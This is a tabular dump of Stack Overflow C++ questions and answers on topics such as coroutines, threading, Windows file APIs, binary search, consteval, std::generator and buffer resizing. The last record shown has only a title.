question_id
int64
25
74.7M
answer_id
int64
332
74.7M
title
stringlengths
20
150
question
stringlengths
23
4.1k
answer
stringlengths
20
4.1k
73,202,845
73,203,070
Can I use return from a coroutine when calling another coroutine?
Suppose that I have the followings: Task<int> A() { co_return 1; } Task<int> B() { co_return co_await A(); } Task<int> C() { return A(); } Both B and C compile just fine. So I'm leaning towards using return since it looks simpler but it feels awkward to not use co_return from a coroutine. What's the best practice?
Well, C is not really much of a coroutine, is it? It just returns one. Well, all coroutines in C++ are like that from outside, I like that design choice. In Python, you would have to mark B as async and could not mark C as async (or you would have to await it twice). Next, B is not exactly the same because you "unwrap" the integer from the task and return a new task from it, there might be some efficiency overhead of that unless the compiler can optimize through co_return co_await which I have no idea about. B is also rewritten while C is not, but unless the code is heavily templatized, the impact on compilation time should be minimal. I would opt for C, it is the most natural, A returns a Task and you just forward it outside. It's less confusing for the reader and most optimal for the compiler, I fail to see any downsides.
73,202,902
73,203,012
Parallel execution taking more time than serial
I am basically writing code to count if a pair sum is even(among all pairs from 1 to 100000). I wrote a code using pthreads and without pthreads. But the code with pthreads is taking more time than the serial one. Here is my serial code #include<bits/stdc++.h> using namespace std; int main() { long long sum = 0, count = 0, n = 100000; auto start = chrono::high_resolution_clock::now(); for(int i = 1; i <= n; i++) for(int j = i-1; j >= 0; j--) { sum = i + j; if(sum%2 == 0) count++; } cout<<"count is "<<count<<endl; auto end = chrono::high_resolution_clock::now(); double time_taken = chrono::duration_cast<chrono::nanoseconds>(end - start).count(); time_taken *= 1e-9; cout << "Time taken by program is : " << fixed << time_taken << setprecision(9)<<" secs"<<endl; return 0; } and here is my parallel code #include<bits/stdc++.h> using namespace std; #define MAX_THREAD 3 long long cnt[5] = {0}; long long n = 100000; int work_per_thread; int start[] = {1, 60001, 83001, 100001}; void *count_array(void* arg) { int t = *((int*)arg); long long sum = 0; for(int i = start[t]; i < start[t+1]; i++) for(int j = i-1; j >=0; j--) { sum = i + j; if(sum%2 == 0) cnt[t]++; } cout<<"thread"<<t<<" finished work "<<cnt[t]<<endl; return NULL; } int main() { pthread_t threads[MAX_THREAD]; int arr[] = {0,1,2}; long long total_count = 0; work_per_thread = n/MAX_THREAD; auto start = chrono::high_resolution_clock::now(); for(int i = 0; i < MAX_THREAD; i++) pthread_create(&threads[i], NULL, count_array, &arr[i]); for(int i = 0; i < MAX_THREAD; i++) pthread_join(threads[i], NULL); for(int i = 0; i < MAX_THREAD; i++) total_count += cnt[i]; cout << "count is " << total_count << endl; auto end = chrono::high_resolution_clock::now(); double time_taken = chrono::duration_cast<chrono::nanoseconds>(end - start).count(); time_taken *= 1e-9; cout << "Time taken by program is : " << fixed << time_taken << setprecision(9)<<" secs"<<endl; return 0; } In the parallel code I am creating three threads and 1st thread will be doing its computation from 1 to 60000, 2nd thread from 60001 to 83000 and so on. I have chosen these numbers so that each thread gets to do approximately similar number of computations. The parallel execution takes 10.3 secs whereas serial one takes 7.7 secs. I have 6 cores and 2 threads per core. I also used htop command to check if the required number of threads are running or not and it seems to be working fine. I don't understand where the problem is.
The all cores in the threaded version compete for cnt[]. Use a local counter inside the loop and copy the result into cnt[t] after the loop is ready.
73,203,313
73,203,426
MoveFile function convert syntax / how to use MoveFile with variables to rename folders
This part of my programm tries to rename all folders and subfolders. All other functionality is in another code, here I'm just renaming a single folder by providing a path. Since rename doesnt seem to work for me I tried using MoveFile. I understand that it requires an LPCTSTR value.. but the paths I am currently providing (casted from std::filesystem::directory_entry -> std::filesystem::path) -> LPCTSTR) aren't accepted. I'm getting that I'm not casting it the right way and I probably have to provide it with an "L" in front of the variable, but I can't find nor figure out the syntax. bool renameFolder(std::string confirmStr3, auto dirEntry, std::string& replacedStr, std::string& insertStr, int& foldername_replacements) { std::string path_string = dirEntry.path().string(); path_string = std::filesystem::path(path_string).filename().string(); replace_all(path_string, replacedStr, insertStr); path_string = getFolderPath(std::filesystem::path(dirEntry).string()) + "\\" + path_string; if (std::filesystem::path(dirEntry) != std::filesystem::path(path_string)) foldername_replacements++; //std::filesystem::rename(std::filesystem::path(dirEntry), std::filesystem::path(path_string)); MoveFile(LPCTSTR(std::filesystem::path(dirEntry)), LPCTSTR(std::filesystem::path(path_string))); }
You can't type cast a std::filesystem::path object directly to a character pointer. That is exactly what the error message is telling you. And you can't use the L prefix with variables, only with compile-time literals. You need to call the path::c_str() method instead, eg: MoveFileW(std::filesystem::path(dirEntry).c_str(), std::filesystem::path(path_string).c_str()); Or, call the path::(w)string() method, and then call c_str() on the returned std::(w)string object, eg: MoveFileW(std::filesystem::path(dirEntry).wstring().c_str(), std::filesystem::path(path_string).wstring().c_str()); That being said, std::rename() is likely to be implemented on Windows using MoveFile/Ex() internally, so this is a possible XY Problem. std::rename() is the preferred solution, so you should focus your efforts on figuring out why it is not working for you. UPDATE: On a side note, the code you have shown makes repetitive use of temporary std::filesystem::path objects that are unnecessary. Try simplifying the code, like this: bool renameFolder(std::string confirmStr3, auto dirEntry, std::string& replacedStr, std::string& insertStr, int& foldername_replacements) { auto dirEntryPath = dirEntry.path(); auto file_name = dirEntryPath.filename().string(); replace_all(file_name, replacedStr, insertStr); auto newDirEntryPath = dirEntryPath / file_name; if (dirEntryPath != newDirEntryPath) { ++foldername_replacements; //std::filesystem::rename(dirEntryPath, newDirEntryPath); MoveFileW(dirEntryPath.c_str(), newDirEntryPath.c_str()); } }
73,203,586
73,203,748
Recursive binary search errors in c++
I'm trying to write a recursive binary search function using below approach. I'm basically using divide and conquer strategy and everything looks good to me in code, but unable to figure out where my code and approach goes wrong. #include<iostream> using namespace std; bool b_search(int *arr, int n, int start, int end){ if(start==end){ if(arr[start]==n){ return true; } else{ return false; } } else{ int mid=start+(end-start)/2; if(arr[mid]==n){ return true; } else if(arr[mid]>n){ return b_search(arr,n,mid+1,end); } else{ return b_search(arr,n,start,mid-1); } } } int main(){ int arr[8]={3,5,8,11,13,15,16,25}; cout<<b_search(arr,16,0,7); } I'm getting output as zero but it should be 1.
When arr[mid]>n you then search for the number in the part with higher number which is guaranteed to miss. You need to search in the part with lower numbers. Example: bool b_search(int *arr, int n, int start, int end) { if (start == end) return arr[start] == n; int mid = start + (end - start) / 2; if (arr[mid] < n) { // arr[mid] is lower than n, search in the high part return b_search(arr, n, mid + 1, end); } else if (arr[mid] > n) { // arr[mid] is greater than n, search lower part return b_search(arr, n, start, mid - 1); } return true; }
73,203,635
73,215,915
How to add custom library to docker image
There is remote server with gitlab runner and docker. I need to build c++/qt project on it, but i should use custom qt libraries(they built with deprecated webkit). I have them on local pc. How can i create docker image with this specific libraries? Is it ok to use COPY command for this purpose?
Yes, you can certainly use COPY from your local machine. However, I would make sure that the custom qt libraries are available online on GitHub or so, so that the docker image can be built correctly from anywhere without having to set up every local machine where the docker image is meant to be created. This way, you can just clone the repository and the respective branch instead of COPY in your docker file.
73,203,857
73,206,739
FFmpeg compilation warnings ATOMIC_VAR_INIT
While compiling ffmpeg (commit 1368b5a) with emscripten 3.1.17, there are two warnings, I would like the internet to help me better understand (I am not someone with deep c++ experience): fftools/ffmpeg.c:339:41: warning: macro 'ATOMIC_VAR_INIT' has been marked as deprecated [-Wdeprecated-pragma] static atomic_int transcode_init_done = ATOMIC_VAR_INIT(0); ^ /home/XYZ/ffmpeg-wasm/modules/emsdk/upstream/lib/clang/15.0.0/include/stdatomic.h:50:41: note: macro marked 'deprecated' here #pragma clang deprecated(ATOMIC_VAR_INIT) ^ I understand ATOMIC_VAR_INIT in this place is deprecated, but by which tool (emscripten, clang)? And which party to be involved in the fix. The other one is also interesting: fftools/ffmpeg_filter.c:898:35: warning: floating-point comparison is always true; constant cannot be represented exactly in type 'float' [-Wliteral-range] if (audio_drift_threshold != 0.1) ~~~~~~~~~~~~~~~~~~~~~ ^ ~~~ The message and consequences are very clear. Whats not clear to me, is, if this is particular compiler issue, or code issue and which party to take care?
For ATOMIC_VAR_INIT I found this note: This macro was a part of early draft design for C11 atomic types. It is not needed in C11, and is deprecated in C17 and removed in C23. So, the deprecation was by the C standard (and the C++ standard, though there it was deprecated in C++20) As for the floating point issue, the compiler states outright that: constant cannot be represented exactly in type 'float' Which is entirely true. In binary every bit of a number represents a power of two. In integers it is fairly easy, the bits represent 1,2,4,8,16,32,64,... matching 2 to the power of 0,1,2,3,4,5,6,... For example the integer: 0b100101 is (low bit it to the right): 1+4+32=37. Floating points are roughly the same, but with a few more complications (which I will skip here). Basically the bits now represent negative powers of two: 0.5, 0.25, 0.125, 0.0625, ... But unfortunately this does not allow us to represent all possible decimal numbers (this is an impossible task, there are infinitely many decimal numbers between 0 and 1, and we only have a finite number of combinations with a finite number of bytes). It turns out that 0.1 is one of the numbers that it is impossible to encode in binary floating point. Which makes sense as 0.1 is 1/2 * 1/5, and 1/5 cannot be represented as a power of 2. If you do the math, you find that: 2^-4 + 2^-5 + 2^-8 + 2^-9 + 2^-12 + 2^-13 = 0.0999755859375 If you continue this sequence forever (skip two powers, add two powers, repeat), then you will get infinitely close to 0.1. But that is the best we can do. If you want to do some more reading, then here is some links: What Every Programmer Should Know About Floating-Point Arithmetic What Every Computer Scientist Should Know About Floating-Point Arithmetic IEEE-754 Floating Point Converter Now, the part I am a bit unsure of is: warning: floating-point comparison is always true Technically 0.1 should translate to some bit-pattern, and if you then throw a variable with that exact same bit pattern at the != check, then the result should be false. But perhaps the compiler made an executive decision and just said: "Always true", because getting the exact bit pattern is super unlikely and fragile. But whatever the case, and more importantly: float != 0.1 is a really bad test. The links I put above elaborate on it much better than I can, but basically you don't ever want to test a floating point for strict equality - you always want to add an epsilon of some value (it depends on the numbers you compare). For example: abs(float - 0.1) < epsilon.
73,204,005
73,204,154
clang: error: unknown argument: '-no_adhoc_codesign'
I'm trying to get rid of linker-signed out of my xxx.dylib. So according to this, I added -no_adhoc_codesign to linker flag with -DCMAKE_SHARED_LINKER_FLAGS="-no_adhoc_codesign" but it seems clang has no idea about this flag. ld does have this option clang: error: unknown argument: '-no_adhoc_codesign' /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/c++ --version Apple clang version 13.1.6 (clang-1316.0.21.2.3) Target: arm64-apple-darwin21.6.0 Thread model: posix InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
You can use -Wl,-no_adhoc_codesign to pass the option directly to the linker if the compiler doesn't support adding the option itself.
73,204,213
73,251,314
C++(MFC) using Pylon :How to draw image which is in array
Hello I am working on a Pylon Application, and I want to know how to draw image which is in array. Basler's Pylon SDK, on memory Image saving In this link, it shows I can save image data in array(I guess) Pylon::CImageFormatConverter::Convert(Pylon::CPylonImage[i],Pylon::CGrabResultPtr) But the thing is I can not figure out how to draw that images which is in array. I Think it would be easy problem, but I'd appreciate it if you understand because it's my first time doing this.
For quick'n dirty displaying of Pylon buffers, you have a helper class available in Pylon SDK to put somewhere in buffer grabbing loop: //initialization CPylonImage img; CPylonImageWindow wnd; //somewhere in grabbing loop wnd.SetImage(img); wnd.Show(); If you want to utilize in your own display procedures (via either GDI or 3rd party libraries like OpenCV etc.), you can get image buffer with GetBuffer() method: CGrabResultPtr ptrGrabResult; camera.RetrieveResult( 5000, ptrGrabResult, TimeoutHandling_ThrowException); const uint8_t *pImageBuffer = (uint8_t *) ptrGrabResult->GetBuffer(); Of course, you have to be aware of your target pixel alignment and optionally use CImageFormatConverter for proper output pixel format of your choice. CImageFormatConverter documentation
73,204,218
73,215,326
Is it allowed to create a `typedef` for a function with attributes?
I have several functions with identical prototypes declared as noreturn. I want to declare a pointer to these functions in a header shared between C and C++. typedef __attribute__ ((noreturn)) void (*apply_transition_effects_t)(object_t *, data_t *); I am using GCC's syntax here, but the question applies equally to [[attribute]] or _Noreturn syntax found in standard C++ and C. Is such declaration allowed by the languages' standards? If yes, does it make any difference to specify this attribute in a type declaration? What about other functions' attributes, can/should they be specified in a type declaration?
Answer applying to C++ (C++20): __attribute__ is completely a compiler-specific feature that is not covered in any way by the standard. The standard does not say where it may or may not appear. From its point of view this is simply an identifier which is reserved in all contexts and therefore using it in the program causes undefined behavior (meaning that the standard technically does not impose any requirement on the compiler as to how it handles the program). The C++ equivalent [[...]], where ... is a stand-in for any attribute specification, is allowed in a typedef declaration, but not in the position you are using __attribute__. In typedef void (*apply_transition_effects_t)(object_t *, data_t *); it can appear before and after any two tokens except between typedef and void and between ( and *. Depending on where the attribute is placed it will appertain to a different entity in the declaration. You are trying to apply the attribute to either the declared type name, in which case it should be placed in either of the following positions: [[...]] typedef void (*apply_transition_effects_t [[...]])(object_t *, data_t *); or you are trying to apply it to the function pointer type, in which case it should be placed typedef void (* [[...]] apply_transition_effects_t)(object_t *, data_t *); or you are trying to apply the attribute to the function type to which the pointer-to-function type refers, in which case it should be placed typedef void (*apply_transition_effects_t)(object_t *, data_t *) [[...]]; For the specific attribute you are trying to use here the standard-equivalent would be [[noreturn]]. However [[noreturn]] is only allowed to apply to functions. (see [dcl.attr.noreturn]/3) Therefore it can't be used in any of the positions mentioned above (or anywhere else in the declaration). Doing so anyway makes the program ill-formed. (see [dcl.attr]/5) [[noreturn]] is not part of the function type in C++ and so cannot be preserved through function pointers. That decision was consciously made, see CWG issue 836 closed as not-a-defect. The error you get in your answer is not actually an error, just a warning which you asked the compiler to turn into an error with -Werror. A function marked [[noreturn]] has undefined behavior if it returns anyway and it is suggested that implementations warn if the function might return (see [dcl.attr.noreturn]/3), but a program is not ill-formed just because you call a function or function pointer which is not known to be noreturn at the end of a noreturn function. It is a quality-of-implementation issue under which conditions the compiler issues a warning for such situations. Of course if the noreturn attribute was part of the function type, it would make the analysis required for determining whether a noreturn function actually returns easier and that seems to be how GCC's __attribute__((noreturn)) works.
73,204,678
73,204,743
priority_queue of vectors in increasing order
I'm trying to build a priority_queue of vectors in increasing order of the first element in each vector, in C++. Could someone help me with this? I can use a normal priority_queue with all vector elements in negative sign but is there some other way to do that? Thanks already :)
You can pass it a different comparator. The default is std::less, but here you'll want std::greater, for example: #include <functional> typedef std::vector<int> ItemType; std::priority_queue< ItemType, // Type of items std::priority_queue<ItemType>::container_type, // Type of container std::greater<ItemType> // Comparison functor > my_queue; Notice the trick in the second template argument to avoid copying the default value.
73,206,867
73,211,398
Failed to build capnproto on ARM, test failed
I am trying to build capnproto library for linux arm machine using arm-linux-gnueabihf-clang++ and it builds correctly but because tests is a part of a build it fails to finish build because i am building it on x64 machine for arm platform and capn binary cannot be started on x64 machine because it is compiled for arm. I was searching for similar problem and found that when you use make command you should not write make -j6 check but simply make , but this didn't help and using --with-external-capnp flag also didn't help. So the question is how to prevent running tests during the build.
When cross-compiling, you need to first build and install Cap'n Proto on the host machine, so that the commands capnp and capnpc-c++ are available on the command line. Once you've done that, you can cross-compile. Pass --with-external-capnp to ./configure when configuring cross-compiling, to tell it to use the installed copy of the tools rather than the self-built copy. Also make sure you make clean or build in a different directory so that the build doesn't accidentally try to use the host-built objects. If this "doesn't help", you'll need to provide more detail on what you're doing and what went wrong.
73,207,032
73,208,027
Regarding the pause-resume data loss in MSVC std::experimental::generator
Since the std::generator is making it into CPP23, I am playing around with MSVC's incomplete version. However, I notice that it seems lose exactly one yield when used with std::views::take. Here is the example: #include <iostream> #include <ranges> #include <experimental/generator> std::experimental::generator<int> GeneratorFn(void) noexcept { co_yield 1; co_yield 2; co_yield 3; co_yield 4; co_yield 5; co_yield 6; co_yield 7; co_yield 8; co_yield 9; co_return; } int main(int argc, char** args) noexcept { auto Ret = GeneratorFn(); for (auto&& i : Ret | std::views::take(2)) std::cout << i << '\n'; for (auto&& i : Ret | std::views::take(3)) std::cout << i << '\n'; for (auto&& i : Ret | std::views::take(4)) std::cout << i << '\n'; } The output of this code would be 1 2 4 5 6 8 9 and clearly, the 3 and 7 is missing. It seems like std::views::take drops the last value the generator yields. Is this normal and to be expected in the formal version of C++23? (Try online: https://godbolt.org/z/v6MModvaz)
std::generator is an input_range, its begin() does not guarantee equality-preserving: auto Ret = GeneratorFn(); std::cout << *Ret.begin() << "\n"; // 1 std::cout << *Ret.begin() << "\n"; // 2 When your first for-loop finishes, Ret's iterator has already incremented to the value 3. When you apply views::take to Ret in the second for-loop, this will call Ret's begin again, and the iterator return by begin will be the next value 4. If you don't want to discard the value of the end iterator, you can reuse the last end iterator like this auto Ret = GeneratorFn(); auto c = std::views::counted(Ret.begin(), 2); for (auto i : c) std::cout << i << '\n'; for (auto i : std::views::counted(c.begin(), 3)) std::cout << i << '\n'; for (auto i : std::views::counted(c.begin(), 4)) std::cout << i << '\n'; Demo
73,207,457
73,207,953
C++ make a string raw using macros
So to make a string in C++ raw you do std::string raw = R"raw_string(text_here""n/whatever)raw_string" but my question is can you make a macro that preprocesses the string , so its raw but it looks normal in code?? Like in a function argument #define start_raw_string R"raw_string( #define end_raw_string )raw_string" void example(std::string raw_text){ std::cout << start_raw_string raw_text end_raw_string << std::endl; // here all this β€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύβ€Ύ is // an entire string ... // equivalent to R"raw_string(<RAW_TEXT_HERE>)raw_string" } int main(){ example("text_here""n/whatever"); // will print >> text_here""n/whatever } as you can see by highlighting it will not work like this for sure so any workaround? found something about macro glue-ing here https://www.iar.com/knowledge/learn/programming/advanced-preprocessor-tips-and-tricks/ but tried it and cant get it to work... soo? it should be posibile because its not compile-time.
It cannot work like this. Once you passed the string literal to the function it is a std::string not a literal anymore. A string literal is the thing you type in your code. Its not something that you can pass around. Even if you'd pass a char[N] to the function it cannot work. You cannot turn a character array to a literal (hence also not to a raw literal). Note that the syntax is like it is for a reason. The start/end character sequence appears right with the raw string literal, because the raw string literal cannot contain that sequence. Compare this: std::cout << R"x()x")x"; // error where it is obvious what the error is: The raw string literal cannot contain )x", with this: std::cout << macro_voodoo(")x") // error ?!? which looks fine but would result in confusing error messages because the start and end character sequences are not visible in the code. Write code for readability and clarity and don't try to work around C++ syntax. 5 characters to denote that a string literal is raw should be acceptable. And it can even be 3 only when you do not need the delimiter.
73,208,959
73,215,103
Vim complete option not worknig
I have complete=.,w,b,u,t,i. Using :h cpt you can find this: i scan current and included files I have the below c++ code: #include <vector> using namespace std; int main() { vector <int> v; v.push_ } When I press C-n in front of v.push_ vim says -- Keyword completion (^N^P) Pattern not found. How can I fix it? I'm using vim 8.1 on ubuntu 20.04. UPD: :checkpath! output --- Included files in path --- <vector> NOT FOUND Press ENTER or type command to continue
As @romainl pointed out, your path doesn't include your c++ directory in /usr/include/c++/, so you only need to add this directory to your path in your user runtime directory ~/.vim/after/ftplugin/cpp.vim. For example, this should be enough for your purposes as it will read files recursively based on the initial matches from your include command. setlocal path=.,,/usr/include/c++/11/ You can also play with wildcards as described in :h file-searching.
73,209,866
73,209,944
How to use std::generate
https://en.cppreference.com/w/cpp/algorithm/generate states that it takes Parameters ForwardIt first, ForwardIt last, Generator g and the description is Assigns each element in range [first, last] a value generated by the given function object g. so I declared an Array (std::array) with X Elements, where std::generate(&Arr[0],&Arr[X],[](){...}) caused a out of bounds violation. While std::generate(&Arr[0],&Arr[X-1],[](){...}) does not. Note: in a small test program I see that std::generate(&Arr[0],&Arr[X-1],[](){...}) does not initialize the last element Next I tried to improve with std::generate(&Arr.front(),&Arr.back(),[&gen](){ Note: same effect here: the last Element is not initialized but in the Internet you also see std::generate(Arr.begin(),Arr.end(),[&gen](){ Which compiles fine (and seems to work correctly with initializing the last element) Now I wonder how Arr.end() and in range [first, last) match, as end() is an Iterator to first out of bounds element, or where I am doing wrong?
You are allowed to form a pointer one past the end of an array, but not dereference it. For raw arrays, &Arr[X] is defined to be equivalent to &*(Arr + X), i.e. you first dereference, then take the address. Containers define [] in terms of a (hidden) raw array. Similarly begin() and end() will be something like return Arr; and return Arr + size; respectively.
73,210,025
74,054,221
In VSCode, how can I disable the GCC warnings in the problems window (I'm not compiling with GCC and I only use clangd extension)
I'm using CMake with clang to compile. I'm using only the clangd VSCode extension (i.e., not using any other C++ extensions). In the "Problems" window, which is powered by VSCode and not compiler output (so there's not an issue with my CMake stuff or compile_commands.json, because I don't even have to compile to see the Problems messages): Some error blah blah - clang [Ln x, Col y] Some error blah blah - GCC [Ln x, Col y] The first error is presumably from clangd and I want to keep it. How can I get rid of the second error? I'm not using GCC anywhere in my build, so I don't know how it got there. Thanks!
You can use the filter in the "problems" tab. Write clang to remove gcc entries.
73,210,092
73,308,854
jthread vs std::async - what is the use-case for jthread over std::async
I have just stumbled accross std::jthread: https://en.cppreference.com/w/cpp/thread/jthread Which seems to be solving the same problem as std::async/future has already solved (although you may need to force the behaviour of async std::async(std::launch::async, ... to run immediately. So my question is what is the point of using one over the other? - is there some difference? is jthread a wrapper of async/future?
Abstractly, they are very similar. Assume that one uses std::launch::async and one does not call std::jthread::detach. They both accept synchronous functions and run them concurrently with the current thread of execution. They both provide a way to wait on the completion: std::future::get or std::jthread::join. They both implicitly and automatically perform the wait on destruction. The differences are more about the particular details and guarantees. It should be noted that std::jthread was added as a fix for std::thread. std::thread was added in C++11 alongside std::async, and the same question is valid for these. So, std::async had not "already" solved the problem, they were released together, as far as is relevant for this question. The problem with std::thread was that it required the user to always join or detach the thread, detach was always wrong, and if the user forgot to join, the program would terminate. There is a meaningful difference in how values are returned. std::async must implicitly allocate a shared location for the return value. That isn't always necessary: sometimes you don't need a value, or sometimes you know that the asynchronous operation will complete before the current function returns (so, a captured stack variable suffices). There is a meaningful difference between std::futures returned from std::async and those constructed some other way. The ones returned from std::async block on destruction, which is not the typical behavior. This complicates both the implementation and the mental model of std::future. There is a meaningful difference in how exceptions are handled. Exceptions are propagated back with std::async. Therefore, the comments are spot on. std::async can easily be implemented with std::thread or std::jthread so it is at a higher level. But conversely, std::async makes implicit choices which are not always optimal.
73,210,968
73,211,387
ComCtl32.dll Ordinal 345 not found error only on Windows XP
I need to make an application that runs on Windows XP and up for multiple reasons. I am using ComCtl32.dll to call TaskDialogIndirect. The only problem is that the error "The ordinal 345 could not be located in ..." only occurs on Windows XP. The program runs fine on all other versions. I do have a manifest in my .rc file with the ID 1. The only things that I am currently mainly using from I could not find any solution to this problem online. My manifest: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="redacted" type="win32" /> <description>redacted</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly> My call to InitCommonControlsEx: INITCOMMONCONTROLSEX icc; icc.dwSize = sizeof(icc); icc.dwICC = ICC_STANDARD_CLASSES; InitCommonControlsEx(&icc);
First of all the minimum supported client requirement for TaskDialogIndirect is Windows Vista you might also wanna check this out. Your best bet might be XTaskDialog. This serves as a good emulation of the Vista Task Dialog APIs for down level operating systems including Windows 98, Windows ME, Windows 2000, Windows XP and Windows 2003. I hope this helps
73,211,206
73,211,525
What mechanism prevents captured variables from being moved?
I did some further experimentation on the topic of my previous question and have another one. Consider the code below where, as I expeded, both l_ref are r_ref are const: #include <string> #include <iostream> struct Func { void operator()() const { static_assert(!std::is_const_v<decltype(v)>); static_assert(std::is_same_v<decltype(v), std::string>); static_assert(std::is_same_v<decltype(this), const Func*>); auto& l_ref = v; static_assert(std::is_same_v<decltype(l_ref), const std::string&>); //my idea was that it does not move because it is const r-value reference auto&& r_ref = std::move(v); static_assert(std::is_same_v<decltype(r_ref), const std::string&&>); std::cout << "v: " << v; } std::string v; }; Now consider the following lambda were wired things start to happen and l_ref and r_ref are not const: int main() { std::string v = "abc"; auto func = [v]() { static_assert(!std::is_const_v<decltype(v)>); static_assert(std::is_same_v<decltype(v), std::string>); auto& l_ref = v; static_assert(std::is_same_v<decltype(l_ref), std::string&>); auto&& r_ref = std::move(v); static_assert(std::is_same_v<decltype(r_ref), std::string&&>); //what happens here? auto a = std::move(v); static_assert(std::is_same_v<decltype(a), std::string>); std::cout << "v: " << v; }; func(); return 0; } v should not move at line auto a = std::move(v); because lambda is not mutable so it is something similar to void operator() const of the struct Func, but at the same time v is not const and std::move(v) is non-const r-value reference, so what mechanism prevents move constructor of std::string from being called?
The move and copy constructors are both part of the same overload set. The compiler will either choose the copy or the move constructor according to the value category and const-ness of the arguments. You second example is wrong and won't compile according to the standard. decltype(l_ref) and decltype(r_ref) are indeed const. See this live example. MSVC seem to accept the code, but this is a compiler bug. You should report such problem to the microsoft msvc developpers. To prove visual studio is wong and that the variable is indeed const, look at the assembly generated (unmangled): call std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >(std::basic_string<char,std::char_traits<char>,std::allocator<char> > const &) As you can see, it calls the copy constructor, not the move constructor according to the function parameter: std::basic_string<char,std::char_traits<char>,std::allocator<char> > const &
73,211,686
73,212,583
C++20 consteval functions and constexpr variables - are they guaranteed to be evaluated at compilation time?
In C++20, we have the consteval keyword that declares an immediate function. For example: consteval int f(int x) { return x * x; } Such a function is required to produce a constant expression. However, according to the standard, a constant expression is not required to be actually evaluated at compilation time, unless it is used in a place where a constant is required, such as in a template parameter. For example, nothing in the standard seems to require that this is evaluated at compilation time: int a = f(10); However, the requirements strongly suggest that an immediate function is meant to be evaluated at compilation time. It also appears that nothing in the standard requires that a constexpr variable be evaluated at compilation time. So even if we make the variable constexpr, i.e. constexpr int a = f(10); it only asserts that f(10) is a constant expression and makes a a constant expression (but again nothing about constant expressions require that they are actually evaluated at compilation time). However, just like before, the requirements for constexpr variables strongly suggest that they are meant to be evaluated at compilation time. Only constinit variables are defined differently - constinit variables are required to have static initialization, so they must be calculated at compilation time and embedded directly in the binary. However, this answer to a related question says that constexpr implies constinit, at least for global variables, which seems to contradict what I've written above. So, are consteval functions and constexpr variables guaranteed to be evaluated at compilation time? Side note: My actual use case involves trying to initialize a field in a struct with a constant, like this: consteval int my_complicated_calculation() { // do complicated mathematics and return an int } struct A { int value; A() : value{my_complicated_calculation()} {} }
The standard does not have the concept of "compile time". There is only "constant evaluation" and a "constant expression". Implementations may implement "constant expressions" such that they are evaluated at compile time. But there is no C++ standard-defined behavior you can point to in the actual C++ program that makes a "constant expression" equivalent to compile-time compilation. It is 100% legal for a compiler to emit code for constant expressions, and it always has been. From [expr.const]/13: "An immediate invocation [ie: calling a consteval function] shall be a constant expression So calling a consteval function is a constant expression. Does this mean that the compiler certainly will not emit actual assembly for this function that gets called at runtime? No; that's a matter of the quality of the implementation. However, certain uses of a constant expression do inform various compiler decisions. This means that, while the compiler does not in general have to evaluate them at compile time, if the value is used in a place that affects the basic act of compilation, the compiler must in that instance evaluate the expression right then. For example: std::is_same_v<array<int, some_constexpr_func(3, 4)>, array<int, 7>> Whether this (constant) expression evaluates to true or false depends on what some_constexpr_func(3, 4) returns. If it returns the sum of its parameters, it is true. And the compiler needs to know that, because it needs to emit the code for the std::array<int, S> type, which as part of its type includes its template parameters. So it needs to know what they are. Outside of cases where constant evaluation affects compiler decisions, whether any constant evaluation happens at compile time is up to the quality of your compiler.
73,211,949
73,212,387
how to check if a float number is an integer in cpp?
For example 14.2 is not an integer but 14.0 is an integer in a mathematical perspective. What I've tried to do is the following, let n be a long double, so to check if it's an integer I compared it to its integer form: if (n == (int) n) { // n is an integer } It all looks perfect but when I applied it, it didn't work, and when i debugged the program I discovered that the long double number is never a whole number; it's not 14.0 instead it's 14.0000000000000000000002, the last 2 is added by the compiler. Does someone know how to fix it?
The cleanest approach is to use floor() and not concern yourself with casting to integer types which makes the false assumption that there will be no overflow in converting a floating-point value to integer. For large floats that's obviously not true. #include <iostream> #include <cmath> // This is where the overloaded versions of floor() are. bool is_whole(double d){ return d==floor(d); } int main() { double x{14.0}; double y{14.2}; double z{-173.5}; std::cout << is_whole(14.0) << '\n'; std::cout << is_whole(14.2) << '\n'; std::cout << is_whole(-123.4) << '\n'; std::cout << is_whole(-120394794.0) << '\n'; std::cout << is_whole(-120394794.44) << '\n'; std::cout << is_whole(3681726.0) << '\n'; return 0; } Expected Output: 1 0 0 1 0 1
73,212,209
73,225,491
Is there a way to resize a buffer in C++
I'm a noob to memory management so please forgive me. Say I have the following code: std::allocator<T> alloc; T* buffer = alloc.allocate(42); Is there a good way to "add space" to this buffer, instead of creating a new buffer, allocating more space, copying the old buffer to the new buffer, and then replacing the old buffer?
Short answer: No. In general you can't use realloc. The problem is that resizing the buffer may or may not mean allocating a new, larger buffer somewhere else and then it depends on T what you have to do. T may be trivially copyable, in which case realloc would work. But it's unlikely for realloc to actually just grow the buffer. That only happens when you accidentally have reusable memory after the old buffer. Basically never happens. If T is not trivially copyable then calling realloc is UB when it needs to allocate a new buffer somewhere else. T might have a copy constructor that needs to be called on every object when it is copied. realloc won't do that. You have to allocate a new buffer and copy all the objects from the old buffer to the new buffer. No big loss since the chance that realloc will actually be able to just grow the buffer is miniscule. Better if T has a move constructor because that's faster than copying. But then you have to consider what happens when the constructor throws an exception. Maybe somewhere in the middle when you have moved half your objects. So you have to move everything back to the old buffer before throwing the exception again. What if that causes another exception? Basically you don't want to move unless the move constructor is noexcept. Copying is the safer fallback. All of those things and probably a bunch more have been considered in std::vector, which is why you should just use that.
73,212,841
73,212,998
Reordering bit-fields mysteriously changes size of struct
